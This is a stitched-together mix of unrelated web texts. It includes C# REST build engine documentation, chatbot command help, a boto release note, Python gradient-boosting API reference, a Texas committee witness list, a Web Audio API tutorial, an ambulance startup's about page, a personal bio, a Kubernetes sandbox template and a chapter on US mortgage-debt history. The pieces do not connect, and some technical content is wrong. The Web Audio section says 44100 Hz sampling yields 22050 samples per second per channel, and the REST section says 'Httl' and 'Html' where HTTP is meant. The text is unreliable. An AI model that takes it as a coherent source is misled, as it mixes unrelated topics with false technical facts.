This package contains a Build Engine for services. If you want the fluent builder to use this build engine you need to add a couple of lines to your startup code similar to:
var fluentBuilder = ninject.Get<IFluentBuilder>(); ninject.Get<OwinFramework.Pages.Restful.BuildEngine>().Install(fluentBuilder);
After adding this build engine to the fluent builder you can add web services to your application by writing classes that are decorated with attributes. The fluent builder will discover these classes and use the attributes to configure these services.
The code below is taken from one of the sample applications. It is a service that exposes 4 endpoints that add, subtract, multiply and divide two numbers.
You can invoke this service by typing a URL into a browser similar to http://mycompany.com/math/add?a=45&b=76.
using System; using System.Collections.Generic; using OwinFramework.Pages.Core.Attributes; using OwinFramework.Pages.Core.Enums; using OwinFramework.Pages.Restful.Interfaces; namespace Sample1.SampleServices { [IsService("arithmetic", "/math/", new[] { Method.Get })] public class ArithmeticService { [Endpoint] [EndpointParameter("a", typeof(double))] [EndpointParameter("b", typeof(double))] public void Add(IEndpointRequest request) { var a = request.Parameter<double>("a"); var b = request.Parameter<double>("b"); request.Success(a + b); } [Endpoint] [EndpointParameter("a", typeof(double))] [EndpointParameter("b", typeof(double))] public void Subtract(IEndpointRequest request) { var a = request.Parameter<double>("a"); var b = request.Parameter<double>("b"); request.Success(a - b); } [Endpoint] [EndpointParameter("a", typeof(double))] [EndpointParameter("b", typeof(double))] public void Multiply(IEndpointRequest request) { var a = request.Parameter<double>("a"); var b = request.Parameter<double>("b"); request.Success(a * b); } [Endpoint] [EndpointParameter("a", typeof(double))] [EndpointParameter("b", typeof(double))] public void Divide(IEndpointRequest request) { var a = request.Parameter<double>("a"); var b = request.Parameter<double>("b"); request.Success(a / b); } } }
The class that defines your service must be decorated with an [IsService()] attribute as shown in the example above.
Your class can contain any number of methods. Any or all of these methods can be exposed as REST endpoints by decorating the method with an [Endpoint()] attribute. These methods can be executed by sending Httl requests to your website.
Endpoint methods can optionally be decorated with one or more [EndpointParameter()] attributes to define the parameters that can be passed to the method. These attributes also define the mechanisms that are supported for parameter passing and the parameter parser to use.
Endpoint methods can optionally have additional arguments and these arguments can be decorated with [EndpointParameter()] attributes to define how parameters passed in the Html request are bound to those method arguments.
The two endpoints below will function identically to the caller of the Http endpoint. The first version produces slightly better API documentation and is the recommended syntax, but you can also use the second version of the syntax if you prefer.
[Endpoint] [EndpointParameter("a", typeof(double))] [EndpointParameter("b", typeof(double))] public void Add(IEndpointRequest request) { var a = request.Parameter<double>("a"); var b = request.Parameter<double>("b"); request.Success(a + b); }
[Endpoint] public void Add( IEndpointRequest request, [EndpointParameter] double a, [EndpointParameter] double b) { request.Success(a + b); }
This service builder supports the following features:
For more details on how to take advantage of these features, click the links below:


| Command | Data |
|---|---|
| Name | |
| Arguments | |
| Command Data | |
| Points | 0 |
| Uses | 0 |
| Rank | |
| Repeat |
Variables are like a map for your commands. They tell the commands how to get certain information.
Let's say you wanted a command to show the current game. You could manually update the command every stream. Instead you can use a variable.
Variables will search for the data that they are supposed to hold and insert themselves into the command. A complete list of them is found below.
Need more info? View the GlimBoi Tutorials
GlimBoi has built in commands (system commands). These commands cannot be deleted or modified.
You should avoid having commands with conflicting names. A system command will take priority.
System commands help the bot and inform your viewers about its capabilities. A complete list of them is found below.
Need more info? View the GlimBoi Tutorials


Swipeable tabs for Ionic apps
Super Tabs is a set of web components to build swipe-able views in Ionic apps. The module was designed based on Material Design Guidelines to provide a simple and familiar user experience.
Having some trouble? search existing issues on Github, or submit a bug report.
To request a feature create a new issue. Pull requests are welcome.
Features with minimal impact on performance or complexity have a higher probability of being implemented/merged.
This project is licensed under the MIT License.


boto v2.26.0
This release adds support for MFA tokens in the AWS STS assume_role & the
introduction of the boto.rds2 module (which has full support for the entire
RDS API). It also includes the addition of request hooks & many bugfixes.


gbst.core module¶
Core GBST Library.
-
class
gbst.core.
Booster
(params=None, cache=(), model_file=None)¶ Bases:
object
A Booster of GBST.
Booster is the model of gbst/xgboost, that contains low level routines for training, prediction and evaluation.
-
attr
(key)¶ Get attribute string from the Booster.
- Parameters
key (str) – The key to get attribute from.
- Returns
value – The attribute value of the key, returns None if attribute do not exist.
- Return type
str
-
attributes
()¶ Get attributes stored in the Booster as a dictionary.
- Returns
result – Returns an empty dict if there’s no attributes.
- Return type
dictionary of attribute_name: attribute_value pairs of strings.
-
copy
()¶ Copy the booster object.
- Returns
booster – a copied booster model
- Return type
Booster
-
dump_model
(fout, fmap='', with_stats=False, dump_format='text')¶ Dump model into a text or JSON file.
- Parameters
fout (string or os.PathLike) – Output file name.
fmap (string or os.PathLike, optional) – Name of the file containing feature map names.
with_stats (bool, optional) – Controls whether the split statistics are output.
dump_format (string, optional) – Format of model dump file. Can be ‘text’ or ‘json’.
-
eval
(data, name='eval', iteration=0)¶ Evaluate the model on mat.
- Parameters
data (DMatrix) – The dmatrix storing the input.
name (str, optional) – The name of the dataset.
iteration (int, optional) – The current iteration number.
- Returns
result – Evaluation result string.
- Return type
str
-
eval_set
(evals, iteration=0, feval=None)¶ Evaluate a set of data.
- Parameters
evals (list of tuples (DMatrix, string)) – List of items to be evaluated.
iteration (int) – Current iteration.
feval (function) – Custom evaluation function.
- Returns
result – Evaluation result string.
- Return type
str
-
feature_names
= None¶
-
get_dump
(fmap='', with_stats=False, dump_format='text')¶ Returns the model dump as a list of strings.
- Parameters
fmap (string or os.PathLike, optional) – Name of the file containing feature map names.
with_stats (bool, optional) – Controls whether the split statistics are output.
dump_format (string, optional) – Format of model dump. Can be ‘text’, ‘json’ or ‘dot’.
-
get_fscore
(fmap='')¶ Get feature importance of each feature.
Note
Feature importance is defined only for tree boosters
Feature importance is only defined when the decision tree model is chosen as base learner (booster=gbtree). It is not defined for other base learner types, such as linear learners (booster=gblinear).
Note
Zero-importance features will not be included
Keep in mind that this function does not include zero-importance feature, i.e. those features that have not been used in any split conditions.
- Parameters
fmap (str or os.PathLike (optional)) – The name of feature map file
-
get_score
(fmap='', importance_type='weight')¶ Get feature importance of each feature. Importance type can be defined as:
‘weight’: the number of times a feature is used to split the data across all trees.
‘gain’: the average gain across all splits the feature is used in.
‘cover’: the average coverage across all splits the feature is used in.
‘total_gain’: the total gain across all splits the feature is used in.
‘total_cover’: the total coverage across all splits the feature is used in.
Note
Feature importance is defined only for tree boosters
Feature importance is only defined when the decision tree model is chosen as base learner (booster=gbtree). It is not defined for other base learner types, such as linear learners (booster=gblinear).
- Parameters
fmap (str or os.PathLike (optional)) – The name of feature map file.
importance_type (str, default 'weight') – One of the importance types defined above.
-
get_split_value_histogram
(feature, fmap='', bins=None, as_pandas=True)¶ Get split value histogram of a feature
- Parameters
feature (str) – The name of the feature.
fmap (str or os.PathLike (optional)) – The name of feature map file.
bin (int, default None) – The maximum number of bins. Number of bins equals number of unique split values n_unique, if bins == None or bins > n_unique.
as_pandas (bool, default True) – Return pd.DataFrame when pandas is installed. If False or pandas is not installed, return numpy ndarray.
- Returns
a histogram of used splitting values for the specified feature
either as numpy array or pandas DataFrame.
-
load_config
(config)¶ Load configuration returned by save_config.
-
load_model
(fname)¶ Load the model from a file, local or as URI.
The model is loaded from an XGBoost format which is universal among the various XGBoost interfaces. Auxiliary attributes of the Python Booster object (such as feature_names) will not be loaded. To preserve all attributes, pickle the Booster object.
- Parameters
fname (string, os.PathLike, or a memory buffer) – Input file name or memory buffer(see also save_raw)
-
load_rabit_checkpoint
()¶ Initialize the model by load from rabit checkpoint.
- Returns
version – The version number of the model.
- Return type
integer
-
predict
(data, output_margin=False, ntree_limit=0, pred_leaf=False, pred_contribs=False, approx_contribs=False, pred_interactions=False, validate_features=True)¶ Predict with data.
Note
This function is not thread safe.
For each booster object, predict can only be called from one thread. If you want to run prediction using multiple thread, call
bst.copy()
to make copies of model object and then callpredict()
.preds = bst.predict(dtest, ntree_limit=num_round)
- Parameters
data (DMatrix) – The dmatrix storing the input.
output_margin (bool) – Whether to output the raw untransformed margin value.
ntree_limit (int) – Limit number of trees in the prediction; defaults to 0 (use all trees).
pred_leaf (bool) – When this option is on, the output will be a matrix of (nsample, ntrees) with each record indicating the predicted leaf index of each sample in each tree. Note that the leaf index of a tree is unique per tree, so you may find leaf 1 in both tree 1 and tree 0.
pred_contribs (bool) – When this is True the output will be a matrix of size (nsample, nfeats + 1) with each record indicating the feature contributions (SHAP values) for that prediction. The sum of all feature contributions is equal to the raw untransformed margin value of the prediction. Note the final column is the bias term.
approx_contribs (bool) – Approximate the contributions of each feature
pred_interactions (bool) – When this is True the output will be a matrix of size (nsample, nfeats + 1, nfeats + 1) indicating the SHAP interaction values for each pair of features. The sum of each row (or column) of the interaction values equals the corresponding SHAP value (from pred_contribs), and the sum of the entire matrix equals the raw untransformed margin value of the prediction. Note the last row and column correspond to the bias term.
validate_features (bool) – When this is True, validate that the Booster’s and data’s feature_names are identical. Otherwise, it is assumed that the feature_names are the same.
- Returns
prediction
- Return type
numpy array
-
save_config
()¶ Output internal parameter configuration of Booster as a JSON string.
-
save_model
(fname)¶ Save the model to a file.
The model is saved in an XGBoost internal format which is universal among the various XGBoost interfaces. Auxiliary attributes of the Python Booster object (such as feature_names) will not be saved. To preserve all attributes, pickle the Booster object.
- Parameters
fname (string or os.PathLike) – Output file name
-
save_rabit_checkpoint
()¶ Save the current booster to rabit checkpoint.
-
save_raw
()¶ Save the model to an in-memory buffer representation
- Returns
- Return type
an in-memory buffer representation of the model
-
set_attr
(**kwargs)¶ Set the attribute of the Booster.
- Parameters
**kwargs – The attributes to set. Setting a value to None deletes an attribute.
-
set_param
(params, value=None)¶ Set parameters into the Booster.
- Parameters
params (dict/list/str) – list of key,value pairs, dict of key to value or simply str key
value (optional) – value of the specified parameter, when params is str key
-
trees_to_dataframe
(fmap='')¶ Parse a boosted tree model text dump into a pandas DataFrame structure.
This feature is only defined when the decision tree model is chosen as base learner (booster in {gbtree, dart}). It is not defined for other base learner types, such as linear learners (booster=gblinear).
- Parameters
fmap (str or os.PathLike (optional)) – The name of feature map file.
-
-
gbst.core.
CallbackEnv
¶ alias of
gbst.core.gbstCallbackEnv
-
class
gbst.core.
DMatrix
(data, label=None, missing=None, weight=None, silent=False, feature_names=None, feature_types=None, nthread=None)¶ Bases:
object
Data Matrix used in GBST.
DMatrix is a internal data structure that used by GBST which is optimized for both memory efficiency and training speed. You can construct DMatrix from numpy.arrays
-
property
feature_names
¶ Get feature names (column labels).
- Returns
feature_names
- Return type
list or None
-
property
feature_types
¶ Get feature types (column types).
- Returns
feature_types
- Return type
list or None
-
get_base_margin
()¶ Get the base margin of the DMatrix.
- Returns
base_margin
- Return type
float
-
get_float_info
(field)¶ Get float property from the DMatrix.
- Parameters
field (str) – The field name of the information
- Returns
info – a numpy array of float information of the data
- Return type
array
-
get_label
()¶ Get the label of the DMatrix.
- Returns
label
- Return type
array
-
get_uint_info
(field)¶ Get unsigned integer property from the DMatrix.
- Parameters
field (str) – The field name of the information
- Returns
info – a numpy array of unsigned integer information of the data
- Return type
array
-
get_weight
()¶ Get the weight of the DMatrix.
- Returns
weight
- Return type
array
-
num_col
()¶ Get the number of columns (features) in the DMatrix.
- Returns
number of columns
- Return type
int
-
num_row
()¶ Get the number of rows in the DMatrix.
- Returns
number of rows
- Return type
int
-
save_binary
(fname, silent=True)¶ Save DMatrix to an XGBoost buffer. Saved binary can be later loaded by providing the path to
xgboost.DMatrix()
as input.- Parameters
fname (string or os.PathLike) – Name of the output buffer file.
silent (bool (optional; default: True)) – If set, the output is suppressed.
-
set_base_margin
(margin)¶ Set base margin of booster to start from.
This can be used to specify a prediction value of existing model to be base_margin However, remember margin is needed, instead of transformed prediction e.g. for logistic regression: need to put in value before logistic transformation see also example/demo.py
- Parameters
margin (array like) – Prediction margin of each datapoint
-
set_float_info
(field, data)¶ Set float type property into the DMatrix.
- Parameters
field (str) – The field name of the information
data (numpy array) – The array of data to be set
-
set_float_info_npy2d
(field, data)¶ - Set float type property into the DMatrix
for numpy 2d array input
- Parameters
field (str) – The field name of the information
data (numpy array) – The array of data to be set
-
set_group
(group)¶ Set group size of DMatrix (used for ranking).
- Parameters
group (array like) – Group size of each group
-
set_interface_info
(field, data)¶ Set info type peoperty into DMatrix.
-
set_label
(label)¶ Set label of dmatrix
- Parameters
label (array like) – The label information to be set into DMatrix
-
set_label_npy2d
(label)¶ Set label of dmatrix
- Parameters
label (array like) – The label information to be set into DMatrix from numpy 2D array
-
set_uint_info
(field, data)¶ Set uint type property into the DMatrix.
- Parameters
field (str) – The field name of the information
data (numpy array) – The array of data to be set
-
set_weight
(weight)¶ Set weight of each instance.
- Parameters
weight (array like) –
Weight for each data point
Note
For ranking task, weights are per-group.
In ranking task, one weight is assigned to each group (not each data point). This is because we only care about the relative ordering of data points within each group, so it doesn’t make sense to assign weights to individual data points.
-
set_weight_npy2d
(weight)¶ - Set weight of each instance
for numpy 2D array
- Parameters
weight (array like) –
Weight for each data point in numpy 2D array
Note
For ranking task, weights are per-group.
In ranking task, one weight is assigned to each group (not each data point). This is because we only care about the relative ordering of data points within each group, so it doesn’t make sense to assign weights to individual data points.
-
slice
(rindex, allow_groups=False)¶ Slice the DMatrix and return a new DMatrix that only contains rindex.
- Parameters
rindex (list) – List of indices to be selected.
allow_groups (boolean) – Allow slicing of a matrix with a groups attribute
- Returns
res – A new DMatrix containing only selected indices.
- Return type
-
property
-
exception
gbst.core.
EarlyStopException
(best_iteration)¶ Bases:
Exception
Exception to signal early stopping.
- Parameters
best_iteration (int) – The best iteration stopped.
-
gbst.core.
c_array
(ctype, values)¶ Convert a python string to c array.
-
gbst.core.
c_str
(string)¶ Convert a python string to cstring.
-
gbst.core.
ctypes2buffer
(cptr, length)¶ Convert ctypes pointer to buffer type.
-
gbst.core.
ctypes2numpy
(cptr, length, dtype)¶ Convert a ctypes pointer array to a numpy array.
-
gbst.core.
from_cstr_to_pystr
(data, length)¶ Revert C pointer to Python str
- Parameters
data (ctypes pointer) – pointer to data
length (ctypes pointer) – pointer to length of data
-
gbst.core.
from_pystr_to_cstr
(data)¶ Convert a list of Python str to C pointer
- Parameters
data (list) – list of str
-
exception
gbst.core.
gbstError
¶ Bases:
Exception
Error thrown by gbst trainer.


My Idea Maps
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WITNESS LIST
Human Trafficking Committee
March 5, 2012 - 10:00 AM
Update--82(R) Human Trafficking Legislation
On:
Garcia, Angela (Office of Court Administration)
McCraw, Steven C. (DPS)
Melton, Kirsta Leeburg (Bexar County Attorney's Office/TDCAA)
Steen, Alan (TABC)
Update--TX Human Trafficking Prevention Task Force
On:
Boatright, David (Office of the Attorney General)
Mata, Jill (South Texas Coalition Against Human Trafficking)
1


Web Audio API - powerful and unique tool for manipulating audio content on your web-page, which allows developers to select sources, add some special audio effects, visualize them and so much more.
Web audio API allows to process different operations on audio using special audio context and it was build for using modular routing. Basic operations are processed with audio nodes that are combined together forming audio routing graph. Several sources are supported even within simple context. Such module conception provides flexability in creating difficult functions for dynamic effects.
Sources represent arrays of samples per unit of time.
For example with sampling frequency of 44100 Hz in each second of each channel will be 22050 samples
They can be processed:
mathematically (OscillatorNode),
read from audio/video files (AudioBufferSourceNode and MediaElementAudioSourceNode)
or from audio flows (MediaStreamAudioSourceNode).
Web audio API contains 28 interfaces and appropriate events
We can group them into some functional groups
AudioContext
AudioContext represents some audio processing object build from audio modules that are connected together, where each component is an instance of an AudioNode class. AudioContext controls creating nodes stored inside of it and realizes audio data formatting and decoding.
AudioNode
AudioNode interface represents audio source, audio processing module that adds audio effects and final audio object.
AudioParam
AudioParams interface represents some audio parameters related to AudioNode.
ended
Ended is an event that is generated when the source audio has ended.
OscillatorNode
OscillatorNode is a sine wave source. This AudioNode that takes frequency and generates sine wave with given frequency.
AudioBuffer
AudioBuffer is a short audio sample stored in memory that was created from an audio file with AudioContext.decodeAudioData() method. After decoding it can be stored in AudioBufferSourceNode.
AudioBufferSourceNode
AudioBufferSourceNode is an AudioNode, that represents audio source that was created from data stored in AudioBuffer.
MediaElementAudioSourceNode
It's an audio source, created from html tags like <audio> and <video>.
MediaStreamAudioSourceNode
It's an audio source, taken from WebRTC MediaStream, for example from web-camera or mic.
BiquadFilterNode
It's an AudioNode that represents different filters such as equalizer or tone controller.
It has one input and one output
DelayNode
It's an AudioNode that represents delay effect that creates delay between input and output.
It has one input and one output
GainNode
It's an AudioNode that represents gain effect that changes input audio volume on a given gain parameter.
It has one input and one output
AudioDestinationNode
Represents an output of an audio context. Usually outputs audio on system speakers.
AnalyserNode
This AudioNode is capable of providing real-time frequency and time-domain analysis info for data analysis and visualization
AudioListener
The AudioListener interface represents the position of the web-site user listening to the audio in space.
PannerNode
The PannerNode interface represents the behavior of an audio signal in space. It describes its movements and location.
1. Create Audio Context
const audioContext = new AudioContext();
2. Create audio source
For example it will be oscillator
const oscillator = audioContext.createOscillator();
oscillator.frequency.setValueAtTime(261.6, 0);
3. Create gain controller to lower the volume
const gainController = audioContext.createGain();
gainController.gain.setValueAtTime(0.5, 0);
4. Connect audio source to gainController and gainController to audio output
oscillator.connect(gainController);
gainController.connect(audioContext.destination);
5. To play audio we use method .start() on our audio source
oscillator.start();
oscillator.stop(audioContext.currentTime + 0.5);
The result!
document.getElementById('test').addEventListener('click', () => {
const audioContext = new AudioContext();
const oscillator = audioContext.createOscillator();
oscillator.frequency.setValueAtTime(261.6, 0);
const gainController = audioContext.createGain();
gainController.gain.setValueAtTime(0.5, 0);
oscillator.connect(gainController);
gainController.connect(audioContext.destination);
oscillator.start();
oscillator.stop(audioContext.currentTime + 0.5);
})
Used sources:
Fun websites that use WebAudioAPI


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Medulance was born with a simple plan:
To make ambulances available for a largely unaware Delhi.
The facts
Delhi/ NCR is home to 22 million people plus tourists. WHO norms state that there should be 1 ambulance per 50,000 people: Delhi currently has 1 per 150,000, about 1/3rd the actual standard. According to All India Institute of Medical Sciences (AIIMS), the unavailability of ambulances led to 28% emergency patients losing out on required treatment in 2012. Medulance is here to change the ingrained perception of non-reliability on ambulances.
Why Medulance?
Have you ever needed assistance but not known how and where to look for ambulances? Have you had to go through the pain and loss of family and friends due to this unknown? We at Medulance, refused to let this problem be treated as an act of god anymore and decided to make finding an ambulance as easy as finding food or taxis these days. Hence, Medulance was born, to assist lives. Using simple location based mapping, we seek to provide Delhi with quality ambulances, easier and faster than before.
What are we doing?
We are upgrading and digitalizing the traditional channels that were used to seek help. Our technology platforms were built to connect the customers and the ambulance drivers directly with each other in the time of need. We strive to provide high-quality, clean ambulances at competitive prices within minutes, assisting the every day superheroes to reach the patients faster with the help of an easy and simple format. We believe that ambulances should be able to help you when it matters!
There’s nothing complicated about it.
Good Ambulances, Better Outcomes!
Our Mission and Values
Our mission is to inspire breakthroughs in the way India looks at ambulances and first point medical attentions, and to touch lives. Our values serve as a compass for our actions and describe how we behave in the world.
Leadership: The courage to shape a better future
Collaboration: Leverage collective genius
Integrity: Be real
Accountability:If it is to be, it's up to me
Passion:Committed in heart and mind
Diversity:As inclusive as our brands
Quality:What we do, we do well
We are a balanced team.
We value our users and treat building this
brand as our passion.
Work with us >


I'm Nick D. Pedersen, I live in a small town called Hvam, Denmark. With my fiance, dog, chickens and geckos. I'm currently studying a (AP) Degree in Computer Science at
University College Nordjylland. I also have an education as an industrial engineer, but in year 2013 I decided to make a career change, and switched to my dream field. So here I am now, and I've never felt better about my course of action.
Knowledge of Technologies & Methods
- UML
- MySQL
- MSSQL
- MongoDB
- Distributed Programming
- Web API
- WCF Services
- Algorithms
- Linux Server
- GIT
- SVN
- SCRUM / XP


This sample application is publicly accessible to let you explore your Kubernetes sandbox
Share it with your friends and colleagues, and show them what you've built!
-
Ambassador Edge Stack
Navigate to the Edge Policy Console: {{.Basepath}}/edge_stack/admin/
Visit the DevPortal: {{.Basepath}}/docs/
{{/*View the OpenAPI documentation: {{.Basepath}}/openapi/
*/}} Learn about Ambassador Edge Stack: Ambassador Tutorial
-
Prometheus
The Prometheus web UI is available at: {{.Basepath}}{{.PrometheusPath}}
-
Jaeger
The Jaeger UI is available at: {{.Basepath}}{{.JaegerPath}}
-
OpenTelemetry
Configure your custom application for B3 Header Propagation and send trace data to one of the OpenTelemetry service endpoint:{{.OpenTelemetryCollectorSvc}}:9411
for Zipkin{{.OpenTelemetryCollectorSvc}}:55680
for OpenTelemetry Protocol (OTLP){{.OpenTelemetryCollectorSvc}}:14250
for Jaeger-grpc{{.OpenTelemetryCollectorSvc}}:14268
for Jaeger-thrift
-
Keycloak
The Keycloak UI is available at: {{.Basepath}}{{.KeycloakPath}}
Click here to configure Keycloak,Filter
andFilterPolicy
resources, or visit the Keycloak integration guide for Ambassador for further instructions.
-
Argo CD
The Argo UI is available at: {{.Basepath}}{{.ArgoCDPath}}
Visit the Argo CD Getting Started guide for instructions on how to create an applications from a Git repository.
-
Consul Connect
The Consul UI is available at: {{.Basepath}}{{.ConsulConnectPath}}
Deploy any application with automatic Consul Connect sidecar proxy injection by setting the"consul.hashicorp.com/connect-inject"
annotation totrue
on thePod
definition.
Create AmbassadorMapping
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Andrei's Blog
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Many people struggle to find sympathy for those who have borrowed beyond their means to pay for something we all must provide for ourselves: housing. From the perspective of those who rent, have resisted taking on debt, or were fortunate enough to purchase and hold onto a home, it can be difficult to empathize with what appear to be bad choices. But when morality and debt intersect, appearances are often extremely misleading. The reality is that a great deal of what lenders, investors, and government agencies told the public about the housing market was never true. Decades of false promises, irresponsible practices, and collusion between banks and the government created a system in which lenders exploited the hopes and ambitions of people in the name of endless profit.
This chapter will explain how this culture emerged, how it exploits the most vulnerable among us, and what we can do about it.
The Story of the American Homeowner
You can’t escape the need for shelter. But in the United States, this basic need is entangled with a pervasive and often fervent belief in the American Dream—that anyone who works hard enough can achieve some version of comfortable “middle-class” status. For many of us, this status is most visibly realized by the purchase of a home. Given the prevalence of this sentiment, it can be easy to imagine that the relationship between homeownership and the “American Dream” existed from the beginning of time. But this central feature of our collective American identity was largely created in the 1930s when, in response to the Great Depression, the U.S. government began a partnership with private lenders. In order to stabilize the existing housing market, they began to construct an idea of homeownership as a fail-proof investment.
A new deal and the mortgage industry we know today
Before the 1930s, the majority of people in the United States did not own their homes. At that time, the ability to buy a house required that you either pay cash, or that you knew someone who would lend you the money. The lender could be a bank, but only if you had a good relationship with your local banker. Even then, they would only allow you to borrow 50% of the property value, and you had to pay it off in three to five years.
In spite of the relatively low ownership rates and direct limits on mortgage access, a housing debt crisis similar to the one in 2008 emerged. Property values plummeted and mortgages destabilized. Lenders refused to renegotiate and borrowers defaulted. At the lowest point of the crisis, one in every ten homes was in foreclosure. In the 1930s, most banks had no government support or backing to sustain them during a crisis. Without money coming in, they were unable to lend, which resulted in freezing credit and dragged the country further into depression. In order to stabilize the market and open the flow of credit, the federal government intervened and established the entities we have today: the Home Owners’ Loan Corporation (1933), the Federal Housing Administration (1934), and the Federal National Mortgage Association (1938), later known as Fannie Mae. These institutions were created to underwrite the lending system, create new terms for borrowers, and unlock credit for the banks to continue lending. Essentially, these institutions functioned so that the private banks could continue making loans and profit from the higher interest, while shifting the increased risk to the public. This partnership between the banks and government agencies continues today with almost all mortgages on the books of FHA, Fannie Mae, Freddie Mac, and Ginnie Mae—in other words, they are guaranteed by taxpayers. In 2011, the federal government guaranteed more than 95% of all mortgages, making the U.S. taxpaying population the largest backer of home loans and shielding the profiting industry from resistance or further collapse.
The ownership society as a tool
Against the workers
Expanding homeownership was a response by government and banks to the debt crisis of the Depression—a means of maintaining credit in the system and restoring faith in a failing economic order. It is quite apparent how the banks benefit in this relationship, outsourcing the risk of their own practices to the public via government intervention. But what is in it for the government? Why go through such lengths to expand an ownership society that was clearly struggling to maintain itself?
During the Depression, union membership hit record highs, growing from 7% in 1930 to 25% in 1940. This development threatened the power of industry and employers, and seemingly had the potential for continued growth. Public dollars were used to create a state-supported market where workers would individually receive support for financing their homes. This had the effect of propping up the competitive housing market without further strengthening the working class as a whole through direct aid. Far from an American dream, the resulting system of homeownership has created a mass of disenfranchised debtors, beholden to the debt system. As homeownership (and mortgage debt) climbed, union membership began its steady decline in 1945.
Against veterans
During the same period of union growth, World War I veterans mobilized against the government. In payment for their war service (1914–1918), veterans were offered bonus certificates in 1924 that would not be redeemable until 1945, a full twenty-seven years after the war. As the country moved into the Great Depression, veterans were particularly vulnerable to joblessness. With few alternatives, forty-three thousand marchers took to the U.S. Capitol building in 1932 demanding that they receive their payment. Even after their camp was cleared, belongings burned and several veterans killed by police, resistance continued. To pacify the movement, jobs were offered to the veterans within the New Deal. Most of them took the jobs before Congress agreed in 1936 to pay the bonuses early.
This powerful movement and others like it illustrated the threat that organized veterans could pose at the end of each subsequent war. In response, complex packages were developed to compensate service members for their duty. Just as before, however, the choice was made to provide forms of compensation that encouraged entrance into competitive markets and the taking on of individual debt to avoid further empowering group strength. Mortgage options became a feature of individual veteran compensation. Under the GI Bill, the Veterans Administration Mortgage Insurance Program was developed as part of the deferred compensation package for service in the armed forces. Returning veterans of World War II were given very low mortgage rates to encourage entrance to the market as individuals, and the practice of the thirty-year loan with 95% financing became a new norm. With the “success” of these new long-term loans, banks began to offer them to the general population with government backing. The market expanded enormously, and by the 1970s homeownership had grown to 63% of the American public—and mortgage debt became an all-too-essential part of the American experience.
Communities of color and links to the poor
The link between racial disparities and homeownership began early on. In the early 1900s, the homeownership rate for Blacks was at 21% while that of Whites was 49.4%—a nearly 30-point ownership gap that continues to this day. Regulations such as the Jim Crow laws purposefully kept Blacks from expanding into the housing market and joining the ranks of those accumulating wealth for their subsequent generations. The New Deal packages referenced earlier were largely reserved for working-class Whites, placing them at odds with workers of color and further fracturing the working class along racial lines. During the Civil Rights era, peaking in 1960, a new kind of consolidated power emerged. As communities of color organized and created powerful movements, the familiar tool of individual debt was used again.
The competitive market was again expanded to contain a surge in power. In the 1970s, growing anger about the longstanding practice of redlining (lending discrimination that divides communities along racial lines) moved the government to pass the Community Reinvestment Act (CRA), which required banks to conduct business in the entire geographic area in which they operated—the idea being that one area could not be more favored (or ignored) than another in terms of approved mortgages and lending. Rating systems were established to penalize those banks showing evidence of bias. Still, as late as 1992, a study by the Federal Reserve Bank of Boston claimed that people of color were denied mortgages at higher rates than Whites. In response, the industry, backed by the federal government, was called on to broaden access to mortgage credit and homeownership by reducing its qualifying standards.
The stated goal of President Clinton’s “National Homeownership Strategy: Partners in the American Dream” program was to extend homeownership to eight million low-income buyers. But the government’s perverse response to racial economic inequality increased availability of credit and the expansion of crushing mortgage debt, rather than the provision of direct assistance through extended public or subsidized housing—further enlarging the market and incorporating a significant new segment of the population into the ownership/debtor relationship.
Through these direct government mandates and the promise of trillions of dollars in revenue, the door was open for the lending industry to develop complex new products, specifically targeted at low-income households and communities of color—all of which were intentionally confusing, overwhelming, and generally designed to fail the borrower. While the burden of public housing was lifted off of the government’s shoulders, mortgage debt was coming down like a ton of bricks on unsuspecting families. “Get-rich-quick” schemes used new financial products to exploit the hopes of millions. A litany of how-to books reinforced the blind faith of the market: How to Make Millions in Real Estate in Three Years Starting with No Cash (2005); Frank McKinney’s Maverick Approach to Real Estate Success: How You Can Go from a $50,000 Fixer-Upper to a $100 Million Mansion (2005); Wise Women Invest in Real Estate: Achieve Financial Independence and Live the Lifestyle of Your Dreams (2006); Why the Real Estate Boom Will Not Bust—And How You Can Profit From It: How to Build Wealth in Today’s Expanding Real Estate Market (2006).
Let’s say you were dubious about the promises being offered. Like anyone ready to make a major decision, you did your research. You took a trip to Fannie Mae’s mortgage calculator and tried to assess the risks. You imagine your worst-case scenario—your property value goes down. What would that look like? You would have received an error—literally. The mortgage calculator was incapable of forecasting a future of zero or negative growth because they assumed that property values always rise. The message became, “The time to invest is now.” Unfortunately, that is exactly what many people did, entangling themselves in unforeseen obligations, a lifetime of debt, and a bubble about to burst.
Some of the worst lending practices include adjustable rate mortgages (ARM) where after several years the initial interest rate adjusts (often substantially higher), placing a lender in a situation where the original math that made the loan affordable no longer applies, only the interest is paid and the principle debt grows endlessly. “Piggyback mortgages” made the down payment for a first mortgage possible with the taking out of a second “piggyback” mortgage. Stated income loans (a.k.a. “liar” loans) allowed borrowers to simply state their income with no verification and enter into mortgages beyond their means. Interest-only payments, negative amortization, and hybrids of all of the above empowered the banks to entangle anyone with a desire for a home, stability, and wealth in a debt scheme they previously would have never qualified for.
In order to back these high-risk loans, banks divided the debt into pools with mixtures of risk, making it impossible to separate the reliable from the dangerous and selling units of these pools in secondary markets with completely unwarranted guarantees of security. It turned out to be a huge success—for the banks.
And yet, despite lenders’ consistently reckless and predatory behavior, the dominant narrative is so often warped by the “morality” of the debt system. Again and again, we are told the story of the irresponsible homeowners who borrowed beyond their means and must now live with their poor choices. But the risk of a loan is supposed to be assessed both by the borrower and the lender. After all, if you are asked to lend someone money, determining the likelihood that you’ll actually get it back is part of your decision process. However, in the current financial system, the government has underwritten the majority of the banks’ risks. The government has guaranteed that these lenders will always get their money back, plus interest. And even if you wanted to hold someone accountable, the actual originators of these toxic loans are often obscured by complex chains of repackaging, offloading, and reselling—leaving millions of borrowers with no direct lender to negotiate with, no access to federal aid, and all of the blame.
The Current Nightmare
- Approximately 14% of all homes in the United States are vacant.
- Pockets of extreme decline exist across the country. In Dayton, Ohio, for instance, the vacancy rate is 21.1% and median income has fallen 10.7% in two years.
- The rate of homeownership in the United States has dropped to 1996 levels (65.3% from its 69% peak in 2004).
- Over four million homes have been foreclosed on since September 2008.
- Negative or near-negative equity accounted for 27% of all U.S. mortgages in 2012, affecting 10.8 million borrowers.
- Approximately 25% of all Black and Latino/a mortgage-holders lost their home to foreclosure or are in threat of foreclosure, as opposed to just under 12% of White borrowers.
